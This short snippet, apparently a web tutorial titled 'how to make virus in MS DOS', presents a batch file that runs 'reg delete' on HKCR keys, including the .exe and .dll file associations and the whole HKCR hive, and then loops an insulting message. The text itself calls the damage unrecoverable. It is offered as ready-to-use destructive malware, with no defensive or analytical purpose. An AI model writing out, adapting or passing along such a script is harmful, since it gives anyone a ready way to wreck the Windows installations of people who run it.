how to make virus in MS DOS

Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

This will delete key registry files, then loops a message (CANNOT BE RECOVERED FROM)

CODE..

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE